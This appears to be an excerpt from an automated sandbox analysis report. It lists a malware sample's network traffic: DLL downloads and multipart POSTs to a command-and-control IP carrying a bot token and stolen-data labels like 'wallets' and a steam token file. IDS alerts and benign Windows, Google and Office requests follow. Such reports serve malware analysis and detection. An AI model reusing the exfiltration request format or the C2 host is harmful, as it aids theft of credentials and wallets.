Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/softokn3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/vcruntime140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DHJKJKKKJJJKJKFHJJJJHost: 185.215.113.206Content-Length: 1067Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DGHIECGCBKFHIEBGHDBKHost: 185.215.113.206Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 44 47 48 49 45 43 47 43 42 4b 46 48 49 45 42 47 48 44 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 64 37 39 36 36 32 61 39 64 39 30 38 36 32 31 33 34 38 37 64 64 30 63 64 63 37 34 61 62 33 33 65 34 63 63 63 37 34 31 33 64 32 64 63 36 63 66 37 39 39 32 35 39 32 34 36 35 37 61 35 65 61 33 32 61 32 64 61 38 32 65 0d 0a 2d 2d 2d 2d 2d 2d 44 47 48 49 45 43 47 43 42 4b 46 48 49 45 42 47 48 44 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 44 47 48 49 45 43 47 43 42 4b 46 48 49 45 42 47 48 44 42 4b 2d 2d 0d 0a Data Ascii: ------DGHIECGCBKFHIEBGHDBKContent-Disposition: form-data; name="token"cd79662a9d9086213487dd0cdc74ab33e4ccc7413d2dc6cf79925924657a5ea32a2da82e------DGHIECGCBKFHIEBGHDBKContent-Disposition: form-data; name="message"wallets------DGHIECGCBKFHIEBGHDBK--
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HIIIECAAKECFHIECBKJDHost: 185.215.113.206Content-Length: 265Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 48 49 49 49 45 43 41 41 4b 45 43 46 48 49 45 43 42 4b 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 64 37 39 36 36 32 61 39 64 39 30 38 36 32 31 33 34 38 37 64 64 30 63 64 63 37 34 61 62 33 33 65 34 63 63 63 37 34 31 33 64 32 64 63 36 63 66 37 39 39 32 35 39 32 34 36 35 37 61 35 65 61 33 32 61 32 64 61 38 32 65 0d 0a 2d 2d 2d 2d 2d 2d 48 49 49 49 45 43 41 41 4b 45 43 46 48 49 45 43 42 4b 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 48 49 49 49 45 43 41 41 4b 45 43 46 48 49 45 43 42 4b 4a 44 2d 2d 0d 0a Data Ascii: ------HIIIECAAKECFHIECBKJDContent-Disposition: form-data; name="token"cd79662a9d9086213487dd0cdc74ab33e4ccc7413d2dc6cf79925924657a5ea32a2da82e------HIIIECAAKECFHIECBKJDContent-Disposition: form-data; name="message"files------HIIIECAAKECFHIECBKJD--
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IDBGHDGHCGHCAAKFIIECHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 49 44 42 47 48 44 47 48 43 47 48 43 41 41 4b 46 49 49 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 64 37 39 36 36 32 61 39 64 39 30 38 36 32 31 33 34 38 37 64 64 30 63 64 63 37 34 61 62 33 33 65 34 63 63 63 37 34 31 33 64 32 64 63 36 63 66 37 39 39 32 35 39 32 34 36 35 37 61 35 65 61 33 32 61 32 64 61 38 32 65 0d 0a 2d 2d 2d 2d 2d 2d 49 44 42 47 48 44 47 48 43 47 48 43 41 41 4b 46 49 49 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 49 44 42 47 48 44 47 48 43 47 48 43 41 41 4b 46 49 49 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 49 44 42 47 48 44 47 48 43 47 48 43 41 41 4b 46 49 49 45 43 2d 2d 0d 0a Data Ascii: ------IDBGHDGHCGHCAAKFIIECContent-Disposition: form-data; name="token"cd79662a9d9086213487dd0cdc74ab33e4ccc7413d2dc6cf79925924657a5ea32a2da82e------IDBGHDGHCGHCAAKFIIECContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------IDBGHDGHCGHCAAKFIIECContent-Disposition: form-data; name="file"------IDBGHDGHCGHCAAKFIIEC--
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CAAEBKEGHJKEBFHJDBFCHost: 185.215.113.206Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 43 41 41 45 42 4b 45 47 48 4a 4b 45 42 46 48 4a 44 42 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 64 37 39 36 36 32 61 39 64 39 30 38 36 32 31 33 34 38 37 64 64 30 63 64 63 37 34 61 62 33 33 65 34 63 63 63 37 34 31 33 64 32 64 63 36 63 66 37 39 39 32 35 39 32 34 36 35 37 61 35 65 61 33 32 61 32 64 61 38 32 65 0d 0a 2d 2d 2d 2d 2d 2d 43 41 41 45 42 4b 45 47 48 4a 4b 45 42 46 48 4a 44 42 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 43 41 41 45 42 4b 45 47 48 4a 4b 45 42 46 48 4a 44 42 46 43 2d 2d 0d 0a Data Ascii: ------CAAEBKEGHJKEBFHJDBFCContent-Disposition: form-data; name="token"cd79662a9d9086213487dd0cdc74ab33e4ccc7413d2dc6cf79925924657a5ea32a2da82e------CAAEBKEGHJKEBFHJDBFCContent-Disposition: form-data; name="message"ybncbhylepme------CAAEBKEGHJKEBFHJDBFC--
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JDAKJDAAFBKFHIEBFCFBHost: 185.215.113.206Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4a 44 41 4b 4a 44 41 41 46 42 4b 46 48 49 45 42 46 43 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 64 37 39 36 36 32 61 39 64 39 30 38 36 32 31 33 34 38 37 64 64 30 63 64 63 37 34 61 62 33 33 65 34 63 63 63 37 34 31 33 64 32 64 63 36 63 66 37 39 39 32 35 39 32 34 36 35 37 61 35 65 61 33 32 61 32 64 61 38 32 65 0d 0a 2d 2d 2d 2d 2d 2d 4a 44 41 4b 4a 44 41 41 46 42 4b 46 48 49 45 42 46 43 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 4a 44 41 4b 4a 44 41 41 46 42 4b 46 48 49 45 42 46 43 46 42 2d 2d 0d 0a Data Ascii: ------JDAKJDAAFBKFHIEBFCFBContent-Disposition: form-data; name="token"cd79662a9d9086213487dd0cdc74ab33e4ccc7413d2dc6cf79925924657a5ea32a2da82e------JDAKJDAAFBKFHIEBFCFBContent-Disposition: form-data; name="message"wkkjqaiaxkhb------JDAKJDAAFBKFHIEBFCFB--

Source: Joe Sandbox View	IP Address: 239.255.255.250 239.255.255.250
Source: Joe Sandbox View	IP Address: 185.215.113.206 185.215.113.206

Source: Joe Sandbox View

ASN Name: WHOLESALECONNECTIONSNL WHOLESALECONNECTIONSNL

Source: Joe Sandbox View

JA3 fingerprint: 28a2c9bd18a11de089ef85a160da29e4

Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.4:49730 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.4:49760 -> 185.215.113.206:80

Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.32
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206

Source: global traffic	HTTP traffic detected: GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=wBAut13mY1yHMf6&MD=RVWnae4h HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiWocsBCJz+zAEIhaDNAQjcvc0BCLnKzQEIotHNAQiK080BCJ7WzQEIp9jNAQj5wNQVGPbJzQEYutLNARjrjaUXSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/newtab_ogb?hl=en-US&async=fixed:0 HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiWocsBCJz+zAEIhaDNAQjcvc0BCLnKzQEIotHNAQiK080BCJ7WzQEIp9jNAQj5wNQVGPbJzQEYutLNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/newtab_promos HTTP/1.1Host: www.google.comConnection: keep-aliveSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /_/scs/abc-static/_/js/k=gapi.gapi.en.SGzW6IeCawI.O/m=gapi_iframes,googleapis_client/rt=j/sv=1/d=1/ed=1/am=AACA/rs=AHpOoo-5biO9jua-6zCEovdoDJ8SLzd6sw/cb=gapi.loaded_0 HTTP/1.1Host: apis.google.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiWocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /fs/windows/config.json HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMTRange: bytes=0-2147483646User-Agent: Microsoft BITS/7.8Host: fs.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/other-Win32-v19.bundle HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=wBAut13mY1yHMf6&MD=RVWnae4h HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/rule224902v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120600v4s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120609v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120402v21s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120608v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120612v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120610v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120613v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120614v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120611v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120616v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120617v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120615v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120619v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120618v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120621v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120620v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120622v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120624v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120623v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120626v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120627v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120625v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120629v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120628v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120631v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120632v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120630v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120634v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120633v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120637v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120636v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120635v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120638v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120639v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120640v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120641v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120642v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120643v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120644v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120646v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120647v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120645v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120649v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120648v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
